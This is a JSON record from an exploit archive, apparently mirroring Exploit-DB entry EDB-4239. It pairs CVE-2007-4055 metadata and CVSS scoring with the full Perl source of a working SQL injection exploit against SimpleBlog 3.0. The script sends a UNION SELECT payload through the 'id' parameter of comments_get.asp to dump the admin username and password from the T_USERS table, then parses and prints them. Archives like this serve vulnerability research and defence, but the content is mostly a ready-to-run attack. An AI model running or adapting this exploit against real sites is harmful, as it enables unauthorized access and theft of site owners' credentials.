{"exploit":{"id":"EDB-4239","name":"SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection (SQLi)","description":"SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection (SQLi)","cves":["CVE-2007-4055"],"author":"g00ns","published":"2007-07-28","platform":"asp","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4239","path":"exploits/asp/webapps/4239.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4239.pl","vulnerabilities":[{"id":"CVE-2007-4055","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in comments_get.asp in SimpleBlog 3.0 allows remote attackers to execute arbitrary SQL commands via the id parameter. NOTE: this may be related to CVE-2006-4300.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-4055","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-4055"},"updatedAt":"2024-08-07T14:37:06.113Z","retrievedAt":"2026-11-26T14:07:37.453Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4239.png?v=2","url":"https://exploitbin.com/exploits/EDB-4239","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4239/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4239/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\n#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#\n#              SimpleBlog 3.0 [ comments_get.asp ]               #\n#                    ] Remote SQL Injection [                    #\n#                                                                #\n#              [c]ode by TrinTiTTY [at] g00ns.net                #\n#                 Vulnerability by MurderSkillz                  #\n#                                                                #\n#      shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox,   #\n#              Canuck, a59, sess, bernard, + the rest of g00ns   #\n#  [irc.g00ns.net]       [www.g00ns.net]        [ts.g00ns.net]   #\n#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#\n\nuse LWP::UserAgent;\n\n$host = @ARGV[0];\n$ua = LWP::UserAgent->new;\n\nmy $inject ='comments_get.asp?id=-99%20union%20all%20select%201,2,uUSERNAME,4,uPASSWORD,6,7,8,9%20from%20T_USERS';\n\nif (@ARGV < 1){&top( );&usage( )}\nelsif ($host =~ /http:\\/\\//){print\"\\n\\n [-] Don't use http:// in host\\n\";exit( 0 );}\nelse { &xpl( ) }\nsub xpl( ) {\n  &top( );\n  print \"\\n [~] Connecting\\n\";\n  $res = $ua->get(\"http://$host/$inject\");\n\n  $con = $res->content;\n  print \"\\n [~] Checking for admin info\\n\";\n  if ($con =~ /<strong>([-_+.\\w]{1,15})<\\/strong>/gmi)\n  {\n     print \"\\n\\t [+] Admin user: $1\\n\";\n  }\n  if ($con =~ /<a href\\=\\\"http:\\/\\/(.*)\\\" target\\=\\\"\\_blank\\\">(.*)<\\/a>/gmi)\n  {\n     print \"\\n\\t [+] Admin password: $2\\n\";\n     print \"\\n [+] Complete\\n\";\n  }\n  else {\n      print \"\\n [-] Unable to retrieve admin info\\n\";\n      exit(0);\n  }\n}\nsub top( )\n{\n  print q {\n  ##################################################################\n  #             SimpleBlog 3.0  [ comments_get.asp ]               #\n  #                    ] Remote SQL Injection [                    #\n  #                                                                #\n  #                [c]ode by TrinTiTTY [at] g00ns.net              #\n  #                   Vulnerability by MurderSkillz                #\n  ##################################################################\n  }\n}\nsub usage( )\n{\n  print \"\\n Usage: perl simpleblog3.pl <host>\\n\";\n  print \"\\n Example: perl simpleblog3.pl www.example.com/path\\n\\n\";\n  exit(0);\n}\n\n# milw0rm.com [2007-07-28]","sha256":"ae9d6e4865e13afd227dbefc4a4968e25c04c9702dbe6bffcbd90c5a9a64356c","bytes":2276,"fetchedAt":"2026-11-26T14:07:31.252Z","encoding":"utf-8 (display only; download retains original bytes)"}